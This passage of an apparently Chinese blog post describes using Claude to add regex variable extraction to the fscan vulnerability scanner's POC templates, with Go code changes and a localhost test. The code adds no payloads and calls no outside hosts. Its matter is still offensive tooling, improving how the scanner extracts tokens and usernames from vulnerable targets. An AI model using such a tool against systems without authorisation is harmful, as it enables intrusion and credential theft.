&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; return false, nil
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;To:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;if rule.Search != &amp;#34;&amp;#34; {
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; result := doSearch(rule.Search, GetHeader(resp.Headers)+string(resp.Body))
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; if len(result) &amp;gt; 0 { // 正则匹配成功
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; for k, v := range result {
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; variableMap[k] = v
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; if k != &amp;#34;&amp;#34; { // only named groups; unnamed groups have empty-string key
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; searchVars[k] = v
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; } else {
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; return false, nil
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;5.&lt;/span&gt; Update all return statements in executePoc
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;┌──────┬────────────────────────────────────────┬───────────────────────────────────────┐
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;│ Line │ From │ To │
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;├──────┼────────────────────────────────────────┼───────────────────────────────────────┤
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;│ ~72 │ return false, err, &amp;#34;&amp;#34; │ return false, err, &amp;#34;&amp;#34;, nil │
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;├──────┼────────────────────────────────────────┼───────────────────────────────────────┤
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;│ ~77 │ return false, err, &amp;#34;&amp;#34; │ return false, err, &amp;#34;&amp;#34;, nil │
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;├──────┼────────────────────────────────────────┼───────────────────────────────────────┤
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;│ ~86 │ return false, nil, &amp;#34;&amp;#34; │ return false, nil, &amp;#34;&amp;#34;, nil │
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;├──────┼────────────────────────────────────────┼───────────────────────────────────────┤
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;│ ~100 │ return success, nil, &amp;#34;&amp;#34; (Sets/cluster) │ return success, nil, &amp;#34;&amp;#34;, nil │
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;├──────┼────────────────────────────────────────┼───────────────────────────────────────┤
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;│ ~193 │ return success, nil, name (Groups) │ return success, nil, name, searchVars │
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;├──────┼────────────────────────────────────────┼───────────────────────────────────────┤
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;│ ~198 │ return success, nil, &amp;#34;&amp;#34; (Rules final) │ return success, nil, &amp;#34;&amp;#34;, searchVars │
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;└──────┴────────────────────────────────────────┴───────────────────────────────────────┘
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;6.&lt;/span&gt; Update CheckMultiPoc to display extracted variables
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;From:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;isVul, _, name := executePoc(task.Req, task.Poc)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;if isVul {
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; result := fmt.Sprintf(&amp;#34;[+] PocScan %s %s %s&amp;#34;, task.Req.URL, task.Poc.Name, name)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; common.LogSuccess(result)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;To:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;isVul, _, name, extractedVars := executePoc(task.Req, task.Poc)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;if isVul {
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; result := fmt.Sprintf(&amp;#34;[+] PocScan %s %s %s&amp;#34;, task.Req.URL, task.Poc.Name, name)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; if len(extractedVars) &amp;gt; 0 {
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; keys := make([]string, 0, len(extractedVars))
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; for k := range extractedVars {
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; keys = append(keys, k)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; sort.Strings(keys)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; for _, k := range keys {
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; result += fmt.Sprintf(&amp;#34;\n * %s: %s&amp;#34;, k, extractedVars[k])
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; common.LogSuccess(result)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Design Decisions
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;-&lt;/span&gt; Sort keys alphabetically: Go map iteration is non-deterministic; sorting ensures consistent, reproducible output.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;-&lt;/span&gt; Single LogSuccess call: Builds the full multi-line string before calling LogSuccess to prevent interleaving from concurrent goroutines.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;fmt.Println/color.Red in SaveLog handle multi-line strings correctly. WriteFile also works with multi-line strings (plain text appends result + &amp;#34;\n&amp;#34;;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;JSON output: Go&amp;#39;s json.Marshal escapes embedded newlines).
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;-&lt;/span&gt; Exclude unnamed groups (k != &amp;#34;&amp;#34;): doSearch can return &amp;#34;&amp;#34; as a key for unnamed capture groups; these are internal and should not appear in output.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;-&lt;/span&gt; set variables not in searchVars: set variables are added to variableMap directly (not through doSearch), so they can never enter searchVars.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;-&lt;/span&gt; brute-force path unchanged: clusterpoc already has its own output with credentials in tmpMap.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;-&lt;/span&gt; Groups mode returns searchVars: For consistency, the groups path also returns searchVars (line 193) so POCs using groups format also display extracted
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;variables.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Verification
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Step 1: Create a test POC YAML
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Create /Users/veno/Projects/fscan/WebScan/pocs/poc-yaml-test-search-extract.yml:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;name: poc-yaml-test-search-extract
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;transport: http
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;rules:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;-&lt;/span&gt; method: GET
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; path: /
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; expression: status == 200 &amp;amp;&amp;amp; body.bcontains(b&amp;#34;fscan-test&amp;#34;)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; search: &amp;#39;token=(?P&amp;lt;token&amp;gt;[a-z0-9]+).*?user=(?P&amp;lt;username&amp;gt;[a-zA-Z]+)&amp;#39;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Step 2: Start a local test HTTP server
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Use Python to serve a response containing the expected fields:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python3 -c &amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;import http.server, socketserver
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;class H(http.server.BaseHTTPRequestHandler):
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; def do_GET(self):
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; body = b&amp;#39;fscan-test token=abc123def user=admin&amp;#39;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; self.send_response(200)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; self.end_headers()
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; self.wfile.write(body)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; def log_message(self, *a): pass
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;with socketserver.TCPServer((&amp;#39;&amp;#39;, 18080), H) as s:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; s.serve_forever()
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&amp;#34; &amp;amp;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Step 3: Build and run
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;go build -o fscan main.go
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;./fscan -h 127.0.0.1:18080 -m webonly -pocname poc-yaml-test-search-extract
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Expected output
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;[+] PocScan http://127.0.0.1:18080 poc-yaml-test-search-extract
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;*&lt;/span&gt; token: abc123def
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;*&lt;/span&gt; username: admin
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Step 4: Cleanup
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;kill %1 # stop the python server
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;rm WebScan/pocs/poc-yaml-test-search-extract.yml
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/details&gt;
&lt;p&gt;vibe 完之后看上去效果合理了。&lt;/p&gt;
&lt;p&gt;&lt;img src="https://v3n0.com/post/2026/hacking-with-ai/image.png"
width="2940"
height="1906"
srcset="https://v3n0.com/post/2026/hacking-with-ai/image_hu_d8475a74839f7ce8.png 480w, https://v3n0.com/post/2026/hacking-with-ai/image_hu_a98852f8cb9f0218.png 1024w"
loading="lazy"
alt="实现效果"
class="gallery-image"
data-flex-grow="154"
data-flex-basis="370px"
&gt;&lt;/p&gt;
&lt;p&gt;过程中 claude 踩了两个坑，它不知道 fscan 的 yaml 会被编译进二进制，当成了 nuclei 类似的外置模板模式。以及 fscan POC 语法中 &lt;code&gt;expression&lt;/code&gt; 必须用 &lt;code&gt;response.status&lt;/code&gt; 和 &lt;code&gt;response.body&lt;/code&gt;，而非裸的 &lt;code&gt;status/body&lt;/code&gt;。一并将它补进 CLAUDE.md&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;提交，然后在 CLAUDE.md 修复上述错误示例。并且新增说明，fscan 的 poc 模板设计是，yaml 会被编译进二进制，因此写了新模板希望使用，需要重新编译。
在 CLAUDE.md 中新补充一点，本项目基于原版新增了我们刚刚实现的 POC YAML 中允许正则提取 exp 关键字的功能相关的描述。并给出语法。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;最终 CLAUDE.md 如下：&lt;/p&gt;
&lt;details class="details-shortcode"&gt;
&lt;summary&gt;CLAUDE.md&lt;/summary&gt;
&lt;div class="details-content"&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1
&lt;/span&gt;&lt;span class="lnt"&gt; 2
&lt;/span&gt;&lt;span class="lnt"&gt; 3
&lt;/span&gt;&lt;span class="lnt"&gt; 4
&lt;/span&gt;&lt;span class="lnt"&gt; 5
&lt;/span&gt;&lt;span class="lnt"&gt; 6
&lt;/span&gt;&lt;span class="lnt"&gt; 7
&lt;/span&gt;&lt;span class="lnt"&gt; 8
&lt;/span&gt;&lt;span class="lnt"&gt; 9
&lt;/span&gt;&lt;span class="lnt"&gt; 10
&lt;/span&gt;&lt;span class="lnt"&gt; 11
&lt;/span&gt;&lt;span class="lnt"&gt; 12
&lt;/span&gt;&lt;span class="lnt"&gt; 13
&lt;/span&gt;&lt;span class="lnt"&gt; 14
&lt;/span&gt;&lt;span class="lnt"&gt; 15
&lt;/span&gt;&lt;span class="lnt"&gt; 16
&lt;/span&gt;&lt;span class="lnt"&gt; 17
&lt;/span&gt;&lt;span class="lnt"&gt; 18
&lt;/span&gt;&lt;span class="lnt"&gt; 19
&lt;/span&gt;&lt;span class="lnt"&gt; 20
&lt;/span&gt;&lt;span class="lnt"&gt; 21
&lt;/span&gt;&lt;span class="lnt"&gt; 22
&lt;/span&gt;&lt;span class="lnt"&gt; 23
&lt;/span&gt;&lt;span class="lnt"&gt; 24
&lt;/span&gt;&lt;span class="lnt"&gt; 25
&lt;/span&gt;&lt;span class="lnt"&gt; 26
&lt;/span&gt;&lt;span class="lnt"&gt; 27
&lt;/span&gt;&lt;span class="lnt"&gt; 28
&lt;/span&gt;&lt;span class="lnt"&gt; 29
&lt;/span&gt;&lt;span class="lnt"&gt; 30
&lt;/span&gt;&lt;span class="lnt"&gt; 31
&lt;/span&gt;&lt;span class="lnt"&gt; 32
&lt;/span&gt;&lt;span class="lnt"&gt; 33
&lt;/span&gt;&lt;span class="lnt"&gt; 34
&lt;/span&gt;&lt;span class="lnt"&gt; 35
&lt;/span&gt;&lt;span class="lnt"&gt; 36
&lt;/span&gt;&lt;span class="lnt"&gt; 37
&lt;/span&gt;&lt;span class="lnt"&gt; 38
&lt;/span&gt;&lt;span class="lnt"&gt; 39
&lt;/span&gt;&lt;span class="lnt"&gt; 40
&lt;/span&gt;&lt;span class="lnt"&gt; 41
&lt;/span&gt;&lt;span class="lnt"&gt; 42
&lt;/span&gt;&lt;span class="lnt"&gt; 43
&lt;/span&gt;&lt;span class="lnt"&gt; 44
&lt;/span&gt;&lt;span class="lnt"&gt; 45
&lt;/span&gt;&lt;span class="lnt"&gt; 46
&lt;/span&gt;&lt;span class="lnt"&gt; 47
&lt;/span&gt;&lt;span class="lnt"&gt; 48
&lt;/span&gt;&lt;span class="lnt"&gt; 49
&lt;/span&gt;&lt;span class="lnt"&gt; 50
&lt;/span&gt;&lt;span class="lnt"&gt; 51
&lt;/span&gt;&lt;span class="lnt"&gt; 52
&lt;/span&gt;&lt;span class="lnt"&gt; 53
&lt;/span&gt;&lt;span class="lnt"&gt; 54
&lt;/span&gt;&lt;span class="lnt"&gt; 55
&lt;/span&gt;&lt;span class="lnt"&gt; 56
&lt;/span&gt;&lt;span class="lnt"&gt; 57
&lt;/span&gt;&lt;span class="lnt"&gt; 58
&lt;/span&gt;&lt;span class="lnt"&gt; 59
&lt;/span&gt;&lt;span class="lnt"&gt; 60
&lt;/span&gt;&lt;span class="lnt"&gt; 61
&lt;/span&gt;&lt;span class="lnt"&gt; 62
&lt;/span&gt;&lt;span class="lnt"&gt; 63
&lt;/span&gt;&lt;span class="lnt"&gt; 64
&lt;/span&gt;&lt;span class="lnt"&gt; 65
&lt;/span&gt;&lt;span class="lnt"&gt; 66
&lt;/span&gt;&lt;span class="lnt"&gt; 67
&lt;/span&gt;&lt;span class="lnt"&gt; 68
&lt;/span&gt;&lt;span class="lnt"&gt; 69
&lt;/span&gt;&lt;span class="lnt"&gt; 70
&lt;/span&gt;&lt;span class="lnt"&gt; 71
&lt;/span&gt;&lt;span class="lnt"&gt; 72
&lt;/span&gt;&lt;span class="lnt"&gt; 73
&lt;/span&gt;&lt;span class="lnt"&gt; 74
&lt;/span&gt;&lt;span class="lnt"&gt; 75
&lt;/span&gt;&lt;span class="lnt"&gt; 76
&lt;/span&gt;&lt;span class="lnt"&gt; 77
&lt;/span&gt;&lt;span class="lnt"&gt; 78
&lt;/span&gt;&lt;span class="lnt"&gt; 79
&lt;/span&gt;&lt;span class="lnt"&gt; 80
&lt;/span&gt;&lt;span class="lnt"&gt; 81
&lt;/span&gt;&lt;span class="lnt"&gt; 82
&lt;/span&gt;&lt;span class="lnt"&gt; 83
&lt;/span&gt;&lt;span class="lnt"&gt; 84
&lt;/span&gt;&lt;span class="lnt"&gt; 85
&lt;/span&gt;&lt;span class="lnt"&gt; 86
&lt;/span&gt;&lt;span class="lnt"&gt; 87
&lt;/span&gt;&lt;span class="lnt"&gt; 88
&lt;/span&gt;&lt;span class="lnt"&gt; 89
&lt;/span&gt;&lt;span class="lnt"&gt; 90
&lt;/span&gt;&lt;span class="lnt"&gt; 91
&lt;/span&gt;&lt;span class="lnt"&gt; 92
&lt;/span&gt;&lt;span class="lnt"&gt; 93
&lt;/span&gt;&lt;span class="lnt"&gt; 94
&lt;/span&gt;&lt;span class="lnt"&gt; 95
&lt;/span&gt;&lt;span class="lnt"&gt; 96
&lt;/span&gt;&lt;span class="lnt"&gt; 97
&lt;/span&gt;&lt;span class="lnt"&gt; 98
&lt;/span&gt;&lt;span class="lnt"&gt; 99
&lt;/span&gt;&lt;span class="lnt"&gt;100
&lt;/span&gt;&lt;span class="lnt"&gt;101
&lt;/span&gt;&lt;span class="lnt"&gt;102
&lt;/span&gt;&lt;span class="lnt"&gt;103
&lt;/span&gt;&lt;span class="lnt"&gt;104
&lt;/span&gt;&lt;span class="lnt"&gt;105
&lt;/span&gt;&lt;span class="lnt"&gt;106
&lt;/span&gt;&lt;span class="lnt"&gt;107
&lt;/span&gt;&lt;span class="lnt"&gt;108
&lt;/span&gt;&lt;span class="lnt"&gt;109
&lt;/span&gt;&lt;span class="lnt"&gt;110
&lt;/span&gt;&lt;span class="lnt"&gt;111
&lt;/span&gt;&lt;span class="lnt"&gt;112
&lt;/span&gt;&lt;span class="lnt"&gt;113
&lt;/span&gt;&lt;span class="lnt"&gt;114
&lt;/span&gt;&lt;span class="lnt"&gt;115
&lt;/span&gt;&lt;span class="lnt"&gt;116
&lt;/span&gt;&lt;span class="lnt"&gt;117
&lt;/span&gt;&lt;span class="lnt"&gt;118
&lt;/span&gt;&lt;span class="lnt"&gt;119
&lt;/span&gt;&lt;span class="lnt"&gt;120
&lt;/span&gt;&lt;span class="lnt"&gt;121
&lt;/span&gt;&lt;span class="lnt"&gt;122
&lt;/span&gt;&lt;span class="lnt"&gt;123
&lt;/span&gt;&lt;span class="lnt"&gt;124
&lt;/span&gt;&lt;span class="lnt"&gt;125
&lt;/span&gt;&lt;span class="lnt"&gt;126
&lt;/span&gt;&lt;span class="lnt"&gt;127
&lt;/span&gt;&lt;span class="lnt"&gt;128
&lt;/span&gt;&lt;span class="lnt"&gt;129
&lt;/span&gt;&lt;span class="lnt"&gt;130
&lt;/span&gt;&lt;span class="lnt"&gt;131
&lt;/span&gt;&lt;span class="lnt"&gt;132
&lt;/span&gt;&lt;span class="lnt"&gt;133
&lt;/span&gt;&lt;span class="lnt"&gt;134
&lt;/span&gt;&lt;span class="lnt"&gt;135
&lt;/span&gt;&lt;span class="lnt"&gt;136
&lt;/span&gt;&lt;span class="lnt"&gt;137
&lt;/span&gt;&lt;span class="lnt"&gt;138
&lt;/span&gt;&lt;span class="lnt"&gt;139
&lt;/span&gt;&lt;span class="lnt"&gt;140
&lt;/span&gt;&lt;span class="lnt"&gt;141
&lt;/span&gt;&lt;span class="lnt"&gt;142
&lt;/span&gt;&lt;span class="lnt"&gt;143
&lt;/span&gt;&lt;span class="lnt"&gt;144
&lt;/span&gt;&lt;span class="lnt"&gt;145
&lt;/span&gt;&lt;span class="lnt"&gt;146
&lt;/span&gt;&lt;span class="lnt"&gt;147
&lt;/span&gt;&lt;span class="lnt"&gt;148
&lt;/span&gt;&lt;span class="lnt"&gt;149
&lt;/span&gt;&lt;span class="lnt"&gt;150
&lt;/span&gt;&lt;span class="lnt"&gt;151
&lt;/span&gt;&lt;span class="lnt"&gt;152
&lt;/span&gt;&lt;span class="lnt"&gt;153
&lt;/span&gt;&lt;span class="lnt"&gt;154
&lt;/span&gt;&lt;span class="lnt"&gt;155
&lt;/span&gt;&lt;span class="lnt"&gt;156
&lt;/span&gt;&lt;span class="lnt"&gt;157
&lt;/span&gt;&lt;span class="lnt"&gt;158
&lt;/span&gt;&lt;span class="lnt"&gt;159
&lt;/span&gt;&lt;span class="lnt"&gt;160
&lt;/span&gt;&lt;span class="lnt"&gt;161
&lt;/span&gt;&lt;span class="lnt"&gt;162
&lt;/span&gt;&lt;span class="lnt"&gt;163
&lt;/span&gt;&lt;span class="lnt"&gt;164
&lt;/span&gt;&lt;span class="lnt"&gt;165
&lt;/span&gt;&lt;span class="lnt"&gt;166
&lt;/span&gt;&lt;span class="lnt"&gt;167
&lt;/span&gt;&lt;span class="lnt"&gt;168
&lt;/span&gt;&lt;span class="lnt"&gt;169
&lt;/span&gt;&lt;span class="lnt"&gt;170
&lt;/span&gt;&lt;span class="lnt"&gt;171
&lt;/span&gt;&lt;span class="lnt"&gt;172
&lt;/span&gt;&lt;span class="lnt"&gt;173
&lt;/span&gt;&lt;span class="lnt"&gt;174
&lt;/span&gt;&lt;span class="lnt"&gt;175
&lt;/span&gt;&lt;span class="lnt"&gt;176
&lt;/span&gt;&lt;span class="lnt"&gt;177
&lt;/span&gt;&lt;span class="lnt"&gt;178
&lt;/span&gt;&lt;span class="lnt"&gt;179
&lt;/span&gt;&lt;span class="lnt"&gt;180
&lt;/span&gt;&lt;span class="lnt"&gt;181
&lt;/span&gt;&lt;span class="lnt"&gt;182
&lt;/span&gt;&lt;span class="lnt"&gt;183
&lt;/span&gt;&lt;span class="lnt"&gt;184
&lt;/span&gt;&lt;span class="lnt"&gt;185
&lt;/span&gt;&lt;span class="lnt"&gt;186
&lt;/span&gt;&lt;span class="lnt"&gt;187
&lt;/span&gt;&lt;span class="lnt"&gt;188
&lt;/span&gt;&lt;span class="lnt"&gt;189
&lt;/span&gt;&lt;span class="lnt"&gt;190
&lt;/span&gt;&lt;span class="lnt"&gt;191
&lt;/span&gt;&lt;span class="lnt"&gt;192
&lt;/span&gt;&lt;span class="lnt"&gt;193
&lt;/span&gt;&lt;span class="lnt"&gt;194
&lt;/span&gt;&lt;span class="lnt"&gt;195
&lt;/span&gt;&lt;span class="lnt"&gt;196
&lt;/span&gt;&lt;span class="lnt"&gt;197
&lt;/span&gt;&lt;span class="lnt"&gt;198
&lt;/span&gt;&lt;span class="lnt"&gt;199
&lt;/span&gt;&lt;span class="lnt"&gt;200
&lt;/span&gt;&lt;span class="lnt"&gt;201
&lt;/span&gt;&lt;span class="lnt"&gt;202
&lt;/span&gt;&lt;span class="lnt"&gt;203
&lt;/span&gt;&lt;span class="lnt"&gt;204
&lt;/span&gt;&lt;span class="lnt"&gt;205
&lt;/span&gt;&lt;span class="lnt"&gt;206
&lt;/span&gt;&lt;span class="lnt"&gt;207
&lt;/span&gt;&lt;span class="lnt"&gt;208
&lt;/span&gt;&lt;span class="lnt"&gt;209
&lt;/span&gt;&lt;span class="lnt"&gt;210
&lt;/span&gt;&lt;span class="lnt"&gt;211
&lt;/span&gt;&lt;span class="lnt"&gt;212
&lt;/span&gt;&lt;span class="lnt"&gt;213
&lt;/span&gt;&lt;span class="lnt"&gt;214
&lt;/span&gt;&lt;span class="lnt"&gt;215
&lt;/span&gt;&lt;span class="lnt"&gt;216
